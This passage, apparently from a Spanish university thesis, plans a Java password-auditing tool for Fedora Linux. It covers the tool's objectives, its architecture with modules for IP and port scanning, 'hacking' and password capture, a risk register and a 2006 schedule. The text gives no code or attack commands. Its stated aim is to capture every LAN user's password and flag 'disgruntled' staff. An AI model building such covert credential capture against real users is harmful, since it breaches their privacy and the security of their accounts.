El sistema se encargará de capturar los passwords que existan en servicios

de maquinas que trabajen con el sistema operativo Linux Fedora Core en su

versión 5.0, evaluando los que se encuentren registrados en una maquina

determinada.

Capturar todas las claves de las maquinas que tengan creada cuenta de

usuario y se conecten a la maquina LINUX a ser auditada dentro de la red

LAN, al tratar de hacer uso de los diferentes servicios por medio de

autenticación de usuario, pero la información solo la va a tener el

administrador del programa.

Se podrá notificar a los administradores sobre las claves de los usuarios que

representan amenaza en la empresa (usuarios inconformes, personal no

Page 368: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

12

autorizado y usuarios con claves débiles), si es que así lo determinara el

administrador del programa.

Llevar un control de las claves del sistema para que el administrador sepa

que usuarios tienen claves débiles y robustas.

Capacitar a los usuarios para que escojan contraseñas robustas en sus

estaciones de trabajo para los diferentes servicios.

El sistema permitirá evaluar el tiempo de caducidad del passwords y este

hará saber al administrador sobre el suceso.

El programa puede ser usado para evaluar el nivel de seguridad de las

maquinas que existan en la empresa.

Habiendo cumplido los pasos anteriores, presentar un informe de nivel de

seguridad con respecto a las claves y accesos a aplicaciones que se usa en

la empresa, con el fin de que el administrador evalúe y disponga las medidas

necesarias para mejorar la seguridad del sistema.

El programa podrá darnos un reporte estadístico de los usuarios que han

tenido acceso al sistema.

Page 369: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

13

El sistema va a poder evaluar las claves de los demás en forma alta, media y

de bajo nivel de las misma.

El sistema va a realizar una evaluación de la clave en cuanto su garantía y

confiabilidad mediante una base de datos que contendrá palabras en 3

idiomas distintos tales como (inglés, francés y español).

Se implementaran normas de seguridad para proteger las claves que han

sido crackeadas por el administrador.

Arquitectura del Sistema

El Sistema SAP se concentra en una arquitectura de tres capas:

La primera capa es Presentación.- Muestra la ventana Clave de Ingreso,

donde se va a digitar el nombre de usuario y la clave correspondiente para

verificar si es correcta o no y poder acceder al siguiente proceso del sistema.

En la capa de presentación se realiza relativamente poco procesamiento de

la aplicación.

La segunda capa es Lógica de Aplicaciones.- Nos permite elegir cada uno

de los procesos a seguir entre ellos encontramos Escanear IP, Escanear

Puertos, Hackear, Capturar Password, Analizar Password, Mostrar e Imprimir

Page 370: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

14

Reportes y Estadísticas ya que estos procesos son responsables de manejar

la lógica del sistema.

La tercera capa es de Almacenamiento.- Contiene la base de datos, esta

es responsable de almacenar toda la información necesaria para la

aplicación.

Modelo de Desarrollo

El desarrollo de este proyecto será a través de un Modelo de Ciclo de Vida

en Espiral toma en cuenta el riesgo que aparece a la hora de desarrollar el

sistema.

Para ello se comienza mirando las posibles alternativas de desarrollo, se

opta por la del riesgo más factible y se hace un ciclo de la espiral.

Si el futuro cliente quiere seguir haciendo mejoras en el software se vuelve

a evaluar las distintas nuevas alternativas y se realiza otra vuelta del espiral

hasta que llegue un momento que el producto desarrollado sea aceptado y

no seguir mejorándolo con otro nuevo ciclo.

El Modelo en Espiral que es más óptimo para nuestro sistema, además

permite ir comprobando fase a fase el cumplimiento correcto de la misma.

Page 371: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

15

Para la realización de las GUI (Interfaces Gráficas de Usuarios) se utiliza el

Modelo de Prototipos.

PRUEBA

DISEÑOCODIFICACIÓN

ANÁLISIS Y RECOPILACIÓNDE INFORMACIÓN

PR

UE

BA DE CONC

EP

TO

SEGUNDA CONSTRUCCIÓN

CICLO FINAL

PRIM

ERA CONSTRUCCIÓN

Grafico -1- Modelo de Prototipos

Metodología

La metodología usada para el desarrollo de este sistema es la Clásica ya que

nuestro proyecto no requiere necesariamente de diseño orientado a objetos,

ya que no es un proyecto demasiado complejo pero que si requiere aplicar

una metodología que incluya los diseños básicos y que cumplan con el Ciclo

de Vida de un Sistema, usaremos entonces todos los diagramas que tengan

que ver con la Metodología Clásica.

Recursos Tecnológicos

Para el desarrollo del Sistema SAP se va a necesitar los siguientes recursos:

Page 372: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

16

Hardware

• 2 Computadores con las siguientes características:

o Hardware: Procesador 3.2 ghz

o Mainboard: Intel Pentium IV

o Memoria: 1 Gb Ram

o Disco Duro: 1 Disco Duro 120 GB

o Sistema Operativo: Windows XP

o Monitores: Pantalla Plana LG

Software

• Fedora Core 3.0 o superior

• JRE última versión (Java Runtime Environment)

• MYSQL o POSTGRE

Herramientas de desarrollo:

• Net Beans 5.5

• JCcreator 3.0

• S1studio JDK 1.5

Recurso Humano

Para la elaboración del siguiente proyecto se cuenta con la colaboración de

tres profesionales.

1 Jefe de Proyecto Sr. José Hidalgo

Page 373: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

17

2 Desarrolladores Srta. Alicia Aldaz

Srta. Karina Valenzuela

Jefe del Proyecto.- Es la persona encargada de dirigir la elaboración del

sistema, será la persona quien tendrá todo tipo de contacto con el cliente y

responsable de cumplir que el proyecto se lo realice de la mejor manera para

que así cumpla con todas las expectativas del cliente.

Desarrolladores.- Son las personas encargadas de la parte de

implementación, diseño y codificación del proyecto así como los encargados

de realizar los manuales tantos técnicos como de usuario.

Gestión de Riesgo

Identificación de Riesgos

1. Tiempo estimado demasiado corto.

2. Salida de uno de los desarrolladores.

3. Indisponibilidad de reunirse del grupo de desarrolladores.

4. Que el ambiente de trabajo no posea una infraestructura adecuada.

5. Mala interpretación de los requisitos por parte de los desarrolladores.

6. Que los usuarios se resistan a usar el software.

7. Que los usuarios no tengan los conocimientos básicos para manejar el

software, lo cual dificulta el tiempo de enseñaza del mismo.

Page 374: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

18

8. Daños imprevistos del hardware.

9. Falta de backup de los módulos desarrollados.

10. Modificación de requerimientos a último momento por parte del cliente.

Definiciones de Riesgos

1. Tiempo estimado demasiado corto.

Hablar del tiempo en nuestro proyecto es dar a menos dos razones por

las cuales este factor se verá afectado.

Además, puede ser que por falta de experiencia en lo que respecta a la

gestión de un proyecto de software estimemos incorrectamente el tiempo

necesario para el desarrollo de nuestra labor y tomemos en cuenta que

muy aparte de los buenos conocimientos que tengamos sobre la gestión,

la experiencia de proyectos anteriores es un buen punto a favor del

equipo de desarrolladores por lo tanto este es un riesgo que debemos

tener en cuenta.

2. Salida de uno de los desarrolladores.

Esto nos afectaría de acuerdo al número de personas comprometidas con

el equipo del proyecto que salgan. En un pequeño número, no nos

Page 375: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

19

afectaría mucho y podría no tomarse muy en cuenta pero siendo muchos

los que salgan de nuestro proyecto si se vería afectado.

3. Indisponibilidad de reunirse del grupo de desarrolladores.

Esto es un riesgo que se nos presenta por diversas razones, las cuales

conllevan a que el equipo no pueda reunirse en su totalidad.

Algunos de estos motivos originan que no se organice y cumpla el

cronograma de trabajos, que no se cuenta con los implementos

necesarios y que los miembros del equipo de desarrollo no tengan claro

cual es el trabajo que tienen que hacer.

4. Que la empresa no posea una infraestructura adecuada.

Se refiere a que no exista el equipo adecuado para poder ejecutar el

software que se esta desarrollando, para que cumpla al 100% por ciento

los requerimientos que fueron planteados por el cliente.

Page 376: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

20

5. Mala interpretación de los requisitos por parte de los

desarrolladores.

Este riesgo es de mucho cuidado ya que nos puede llevar al fracaso del

proyecto, porque nos retrasaría enormemente en el cronograma de

trabajos del mismo.

6. Que los usuarios se resistan a usar el software.

Hoy en día se ven muchos casos en los que los usuarios finales de los

productos de software se resistan a usarlos, ya sea por que tienen miedo

al cambio, o porque están acostumbrados ya a una rutina de trabajo.

7. Que los usuarios no tengan los conocimientos básicos para manejar

el software, lo cual dificulta el tiempo de enseñanza del mismo.

Que al momento de implementar o hacer las pruebas los usuarios

requeridos para hacerla tengan la dificultad de entender el manejo del

software. Que la presentación por pantalla tenga un grado de dificultad,

para entender el procedimiento del sistema.

8. Daños imprevistos del hardware.

Los daños más importantes que se puedan presentar es que los HD

tengan sectores dañados y esto ocasione la pérdida de los datos

Page 377: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

21

ingresados en el sistema. Que se dañe el Mainboard del equipo y que no

se disponga de otro para su reemplazo.

9. Falta de backup de los módulos desarrollados.

Al hablar de la falta de backup nos referimos a los respaldos de los

módulos que se encuentren avanzados y que podrían ser almacenados

en CD-R o disquetes para poder llevarlos a reuniones con el resto del

equipo, para revisiones de calidad o de los avances (Refiriéndonos con

esto a que los lugares de programación de los módulos son 2 distintos).

10. Modificación de requerimientos a último momento por parte del

cliente.

Este riesgo puede presentarse debido a que nuestro grupo de desarrollo y

gestión está asumiendo y decidiendo por algunos detalles, ya que el

cliente no nos facilita ideas claras y concisas, más por el contrario nos

brinda ideas demasiado generales.

Impacto y Probabilidad de los Riesgos

1. Tiempo estimado demasiado corto

Impacto

Las tareas que se estimen, mas en su tiempo de inicio y finalización

retrasaran nuestro proyecto o por el momento la evaluación de aquella

tarea y sabiendo que muchas tareas se encuentran encadenadas, (Es

Page 378: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

22

decir que tendrá que iniciar una para comenzar con otra o que la primera

deberá finalizar para iniciar la segunda) se nos producirán muchos

desfase durante la realización de nuestras tareas llegando incluso a

producir un retraso en cadena de nuestro proyecto.

Probabilidad

Una probabilidad medio-baja debido a que buscaremos la forma de

estimar a tiempo para las tareas de forma correcta tomando todas las

precauciones del caso.

2. Salida de uno de los desarrolladores.

Impacto

En la elaboración del presente proyecto se han distribuido tareas a cada

integrante, por lo cual la salida imprevista de alguien del equipo sería un

impacto fuerte porque retrasaría la finalización del proyecto en el tiempo

estimado.

Probabilidad

La probabilidad de que el riesgo se presente es poca, pero no

despreciable.

Page 379: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

23

3. Indisponibilidad de reunirse del grupo de desarrolladores

Impacto

Este riesgo nos da un impacto crítico dentro de lo que respecta al

desarrollo de nuestro proyecto. Al presentarse este riesgo dentro del

grupo nos va a retrasar en un principio lo que respecta al análisis debido

a que es parte del grupo y quien no tenga los conocimientos en claro

tendrá que luego ponerse al tanto de lo ocurrido implicando que se

destine un tiempo para ambientarlo al ritmo del equipo además de que las

tareas a ellos asignadas se retardarían.

Probabilidad

Para este caso le damos una probabilidad media al riesgo porque la

mayoría del grupo de desarrollo trabaja, lo que reduce el tiempo para

reuniones de desarrollo, además de que las otras materias han

comenzado a enviar varios proyectos.

4. Que los equipos de la empresa no estén en óptimas condiciones de

trabajo.

Impacto

Es un impacto crítico ya que si la empresa donde vamos a instalar

nuestro sistema no tiene la infraestructura adecuada nuestro sistema no

puede funcionar al 100% y no cumplen con todos los requisitos

especificados.

Page 380: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

24

Probabilidad

Tiene una probabilidad baja ya que el gestor debe de cerciorarse de la

infraestructura que tenga la empresa para desarrollar el sistema, y en

caso de que no tenga la infraestructura adecuada el gestor debe de

persuadir al cliente sobre esta selección.

5. Mala interpretación de los requisitos por parte de los desarrolladores

Impacto

Una mala interpretación de los requisitos tendría un impacto catastrófica

en la calidad de nuestro software ya que de darse este riesgo al

desarrollar el código podríamos realizar funciones que arrojen unos

resultados no deseados por parte del cliente haciendo que este llegase a

rechazar el software durante la revisión obligando incluso a realizar un

proceso de corrección del software.

Probabilidad

Le damos una baja probabilidad debido a que siendo un proyecto

pequeño y sencillo el software no implicaría muchos módulos.

Page 381: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

25

6. Que los usuarios se resistan a usar el software

Impacto

Un despreciable impacto para este riesgo debido a que las personas

deben adaptarse a los cambios de la empresa y a que nuestra labor como

gestores desarrolladores no se vería afectada por esto si no hasta cuando

ya se haga la entrega del software y la ambientación de los usuarios para

con el mismo.

Probabilidad

Una baja probabilidad debido a que normalmente los usuarios finales

buscan la forma de facilitar sus tareas diarias lo que ocurriría con la

utilización del software.

7. Que los usuarios no tengan los conocimientos básicos para

entender y manejar el software

Impacto

Este riesgo implica un impacto despreciable ya que los usuarios finales no

retardarían la realización del mismo ya que la fase de adaptación del

usuario es la última en realizarse ya estando finalizado y aprobado por el

cliente.

Page 382: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

26

Probabilidad

La probabilidad de este riesgo es un poco considerable debido a que hoy

en día el personal encargado del manejo de un sistema no se encuentra

debidamente preparado para el mismo.

8. Daños imprevistos del hardware

Impacto

El daño del hardware o equipo de desarrollo tiene un impacto crítico, ya

que en muchos casos el más mínimo desperfecto, no permitiría trabajar

en aquel lugar de desarrollo lo cual conduce a un retraso en las tareas

asignadas en el Terminal de Trabajo. Y teniendo luego que destinar otra

de las terminales para desarrollar varias tareas a medio tiempo cada una

hasta que el desperfecto quede solucionado.

Probabilidad

Una probabilidad baja debido a que los equipos de desarrollo han estado

trabajando sin problemas y están destinados por el momento solamente a

la realización del proyecto y no permitiendo el acceso a usuarios ajenos al

mismo.

Page 383: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

27

9. Falta de Backups de los módulos desarrollados

Impacto

Un impacto crítico sería, debido a que una falta de respaldo en un medio

de almacenamiento portable no permitiría que fuéremos poco a poco

uniendo los módulos de desarrollo para realizar proezas, ajustes y

modificaciones necesarias retrasando lo que sería la unión de módulos y

pruebas.

Además puede darse que uno de los discos duros por errores

inesperados no nos permita obtener la información en él almacenada y

que no se pueda recuperar, tendríamos que volver a realizarla.

Probabilidad

Una probabilidad baja debido a que normalmente los discos duros no se

implican en un daño del equipo y que disponemos de medios de

almacenamiento portable.

10. Modificación de requerimientos a último momento por parte del

cliente.

Impacto

El impacto es crítico puesto que hay modificaciones en donde habría que

cambiar el código y en casos extremos hasta el diseño, lo cual nos

Page 384: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

28

llevaría muchos más tiempo y dinero, del previsto al principio, y puede

que este percance no sea entendido por parte del cliente.

Probabilidad

La probabilidad de que suceda esto es alta, ya que casi siempre el cliente

no tiene bien definido sus requerimientos y se van a ir dando cuenta de

sus necesidades a medida que se le presente un prototipo del proyecto.

Plan de Contingencia

1. Tiempo estimado demasiado corto.

Para evitar este riesgo será necesario realizar un cronograma de

actividades para el grupo y ver que tan realista es el tiempo que se está

dando para las tareas.

Averiguar sobre técnicas de estimación de tiempo para apoyarnos en

ellas a la hora de estimar el tiempo. Realizar la asignación correcta a los

grupos de trabajo de modo que no se recargue demasiado trabajo sobre

un solo grupo.

Realizar informes sobre los avances de cada una de las tareas para

evaluar si se están cumpliendo de acuerdo a nuestra agenda.

Realizar revisiones de compatibilidad de los módulos para alivianar la

tarea de encadenamiento de módulos. En caso de darse este riesgo y se

Page 385: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

29

nos estén retrasando las tareas, averiguar el motivo por el cual se está

dando el retraso, de lo cual podríamos definir.

2. Salida de uno de los desarrolladores

Este riesgo lo trataríamos en las reuniones charlando nosotros mismos

con los desarrolladores.

Apoyándolos en caso de que se presenten problemas personales que los

obliguen a salir, tratando de convencerlos de que la salida del grupo no es

el camino más recomendable, incitándolos a realizar un esfuerzo para

alcanzar la finalización del proyecto, obligando a los programadores a

realizar reportes y manuales técnicos de los módulos que se estén

desarrollando.

Trataremos de que la información se disperse lo más posible entre los

grupos de trabajo para evitar que la información se centralice.

En caso de darse este riesgo tendremos que ver que tanto es el personal

que va a salir del proyecto y si los que salen serán los que más influyan

en la codificación.

3. Indisponibilidad de reunirse del grupo de desarrolladores.

Page 386: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

30

Realizaremos varias reuniones con los desarrolladores en días accesibles

tomando en cuenta que somos nosotros mismos los que debemos buscar

la forma de poder trabajar sin problemas de asistencia.

Además de que como ya se ha indicado que los lugares de desarrollo

serán tres distintos, entonces los desarrolladores podrán trabajar en los

lugares que les permitan una mayor accesibilidad a cada uno de ellos.

Comprometer a los desarrolladores a cumplir con esta labor para que

ellos den su mayor disponibilidad para con el grupo.

Controlar la asistencia permanente de cada desarrollador a las sesiones

de trabajo para tener conocimiento de si se esta cumpliendo con el

proyecto, crear un horario mínimo de asistencia para los grupos de

desarrollo y llegar incluso a multar o sancionar a aquellos integrantes que

tengan muchas faltas o que se resistan a dedicar un tiempo considerable

al desarrollo del proyecto.

4. Que los equipos de la empresa no estén en óptimas condiciones

de trabajo.

Revisar minuciosamente el hardware y el software con el que cuenta la

empresa para el funcionamiento del sistema antes de firmar el contrato.

Page 387: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

31

Hablar con el cliente si esta dispuesto a mejorar la infraestructura, para

que el sistema, pueda trabajar correctamente, en caso contrario ver la

forma de adaptarse con lo que posea la empresa.

En caso de darse este riesgo ver la plataforma más conveniente para la

infraestructura de la empresa, pero si el hardware existente no cumpla

con los requisitos del sistema lo que podemos hacer es adaptar el

hardware solo para el funcionamiento del sistema.

5. Mala interpretación de los requisitos por parte de los

desarrolladores.

Una forma de contrarrestar este riesgo es informando a los

desarrolladores sobre lo que trata en cada una de las reuniones.

Teniendo nosotros mismos reuniones especiales con los desarrolladores

para darles a conocer y tratar de que ellos comprendan cuales son los

requerimientos del software.

Tratar de definir junto con los desarrolladores la funcionalidad del

software y dejar en claro todo lo que deberá manejar el programa de

acuerdo con lo que obtuvo en la entrevista con el cliente.

Page 388: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

32

Ya en el caso de darse este riesgo y en las revisiones nos demos cuenta

de que lo realizado no va de acuerdo a lo previsto, convocar a una sesión

para tratar este caso con los desarrolladores y replantar el asunto de

forma que se vuelva a tomar el hilo del desarrollo.

Realizar una inspección minuciosa de lo que se ha desarrollado hasta

ahora para llegar a determinar que parte es la que habrá que modificar.

6. Que los usuarios se resistan a usar el software

Para evitar este riesgo o disminuir la probabilidad de que se de,

empezaríamos a vender la idea de la automatización de los procesos.

Dar a conocer a los usuarios las ventajas y facilidades que brindara el

software a ellos en el momento de realizar sus labores diarias.

Darles seguridad, o sea convencerlos de que la implementación de un

software no implica reducción de personal ni mucho menos una

disminución de sus ingresos, si no más bien que el software es una

herramienta de apoyo para realizar de forma rápida y controlable las

actividades de la empresa.

Page 389: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

33

Pero si aun así se nos llegase a dar este riesgo tendríamos que dar una

charla a los usuarios indicándoles cuales son los nuevos horizontes de la

empresa.

Darles a conocer que la automatización tiene que ir por sobre todo y que

tienen que ajustarse al cambio.

Hacerles una demostración comparativa para que ellos noten la diferencia

y las ventajas de usar el proyecto.

7. Que los usuarios no tengan los conocimientos básicos para

entender y manejar el software

Como medidas tomadas para evitar o ayudar a los usuarios a

familiarizarse con nuestro sistema se tiene contemplado ponerlos en

conocimiento de los pasos que deberán seguir para la ejecución del

software.

Darles un curso de capacitación sobre como deben de manipular,

ingresar datos. También les daremos un manual de usuario en el cual se

de a conocer la funcionalidad de cada proceso del sistema de manera

detallada, clara y concisa.

Page 390: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

34

8. Daños imprevistos del hardware

Para evitar que se nos presente este riesgo, antes de empezar a

desarrollar vamos a hacer un exhaustivo chequeo del hardware de

desarrollo (HD, Mainboard, etc.) para estar seguros que no se va a dañar.

Haremos revisiones paulatinamente del hardware de desarrollo.

Como nosotros contamos con 3 máquinas (PC) para desarrollar, si

continuar con el proyecto.

Utilizaríamos de backup para llevar lo que hemos desarrollado a la otra

PC y seguir adelante con el proyecto.

Donde el momento que se dañe el hardware, procederemos a evaluar los

daños y su respectiva reparación.

9. Falta de Backups de los módulos desarrollados

Un buen plan de contingencia para este riesgo es crear reglas para los

programadores en las cuales se indique claramente:

• Grabar siempre la información entre cada línea cuando se este

codificando

Page 391: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

35

• Sacar y actualizar respaldo luego de cada fase de codificación.

• Portar los respaldos en cada una de las reuniones para obtener

un respaldo general de todos los módulos.

• Una falta de backups de los módulos nos puede retrasar en el

proyecto, por esto debemos tener mucho cuidado al tratar de

evitarlo.

• Todas las computadoras deberán tener un respaldo general del

software al que sólo se tendrá acceso en presencia de todo el

grupo gestor o en caso de emergencia para recuperar algún

fragmento de los módulos.

10. Modificación de requerimientos a último momento por parte del

cliente.

Dejar establecido desde el principio del proyecto cual será la política que

se maneje con relación a las modificaciones solicitadas sea de gran

mesura.

Page 392: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

36

Tabla de Riesgos

Riesgo Probabilidad Impacto

Tiempo estimado demasiado corto 40% 2

Salida de uno de lo desarrolladores 11% 1

Indisponibilidad de reunirse del grupo de

desarrolladores

38% 2

Que la empresa no posea una

infraestructura adecuada

10% 2

Mala interpretación de los requisitos por

parte del grupo de desarrolladores

10% 3

Que los usuarios se resistan ha usar el

software

10% 2

Que los usuarios no tengan los

conocimientos básicos para manejar el

software

15% 1

Daños imprevistos en el hardware 20% 2

Falta de backup de los módulos

desarrollados

5% 2

Modificación de requerimientos a última

hora por parte del cliente.

10% 2

Tabla -1-

Tabla de Riesgo

1. Significa riesgo leve

2. Significa riesgo fuerte

3. Significa riesgo agresivo

Page 393: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

37

Mecanismo de seguimiento y control

Cada semana cada uno de los desarrolladores deberá entregar un informe

de actividades, avances y expectativas para la siguiente semana.

Se realizaron reuniones cada 5 días para ver como estaba siendo elaborado

cada uno de los módulos.

El Jefe de Proyectos reviso hasta el ultimo detalle antes del enlace de los

módulo, esto se lo realizo con semanas de anticipación.

El Jefe de Proyectos estuvo atento a cada fase del proyecto.

Page 394: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

38

Cronograma

Nombre de Tareas Duración Comienzo Fin

1

DETERMINACIÓN DE

OBJETIVOS 5 días 21/08/2006 25/08/2006

2 Reuniones con el Cliente 5 días 21/08/2006 25/08/2006

3

Id de necesidades y beneficios

del cliente 2 días 28/08/2006 29/08/2006

4 Levantamiento de la información 1 día 29/08/2006 29/08/2006

5 Definición de Objetivos 2 días 29/08/2006 30/08/2006

6 ALCANCE DEL PROYECTO 3 días 30/08/2006 01/09/2006

7

RESTRICCIONES Y

LIMITACIONES DEL

PROYECTO 1 día 04/09/2006 04/09/2006

8 RIESGOS DEL PROYECTO 1 día 05/09/2006 05/09/2006

9 Identificación del riesgo 1 día 06/09/2006 06/09/2006

10 Interpretación del Riesgo 1 día 06/09/2006 06/09/2006

11 Probabilidad e impacto 1 día 07/09/2006 07/09/2006

12 Tabla de riesgo 1 día 07/09/2006 07/09/2006

13 Plan de contingencia del riesgo 4 días 08/09/2006 13/09/2006

14

ESPECIFICACIONES DEL

LENGUAJE 2 días 14/09/2006 15/09/2006

15

PLANIFICACIÓN TEMPORAL

DEL PROYECTO 3 días 18/09/2006 20/09/2006

16

Diagrama de gantt del avance

del proyecto 1 día 20/09/2006 20/09/2006

17 RECURSOS DEL PROYECTO 5 días 21/09/2006 27/09/2006

18 Recurso humano 2 días 26/09/2006 27/09/2006

Page 395: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

39

19 Recurso de hardware 2 días 26/09/2006 27/09/2006

20 Recurso de software 2 días 28/09/2006 29/09/2006

21

ORGANIZACIÓN DEL

PERSONAL 2 días 02/10/2006 03/10/2006

22 Aspectos de funcionamiento 1 día 28/09/2006 28/09/2006

23 Funciones principales 2 días 04/10/2006 05/10/2006

24

MECANISMOS DE

SEGUIMIENTO Y CONTROL 1 día 06/10/2006 06/10/2006

25

ANÁLISIS Y RECOPILACIÓN

DE INFORMACIÓN 17 días 06/10/2006 30/10/2006

26

Diagrama de flujo de información

del proyecto 4 días 16/10/2006 19/10/2006

27

Identificación de los

Requerimientos del Negocio 4 días 19/10/2006 24/10/2006

28

Definición de metas para la

prueba de concepto 4 días 20/10/2006 25/10/2006

29

Identificación de los

requerimientos del sistema 4 días 25/10/2006 30/10/2006

30

Elaboración del Logotipo del

proyecto 1 día 26/10/2006 26/10/2006

31

Definición de las metas para la

primera versión de construcción 6 días 31/10/2006 07/11/2006

32

Identificación de los

requerimientos del subsistema 4 días 31/10/2006 03/11/2006

33

Identificación de los

requerimientos de la unidad 4 días 06/11/2006 09/11/2006

34 DISEÑO 20 días 31/10/2006 27/11/2006

35 Diseño de datos 7 días 06/11/2006 14/11/2006

Page 396: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

40

36

Diagrama entidad – relación del

sistema 7 días 13/11/2006 21/11/2006

37

Diagrama de especificación del

sistema 7 días 20/11/2006 28/11/2006

38

Diagrama de datos y bases de

datos 7 días 23/11/2006 01/12/2006

39 Diseño arquitectónico 7 días 27/11/2006 05/12/2006

40

Diagrama de componentes

principales 4 días 04/12/2006 07/12/2006

41 Diseño de Interfaces 4 días 04/12/2006 07/12/2006

42

Producción del Diseño

Conceptual del Sistema 4 días 04/12/2006 07/12/2006

43

Producción del Diseño del

Sistema Lógico 4 días 04/12/2006 07/12/2006

44

Producción del Diseño del

Sistema Físico 4 días 04/12/2006 07/12/2006

45 Producción del Diseño Final 5 días 04/12/2006 08/12/2006

46 CÓDIGO 40 días 28/11/2006 22/01/2007

47

Diseño y Construcción de la

prueba del concepto 10 días 25/12/2006 05/01/2007

48

Diseño y Construcción del

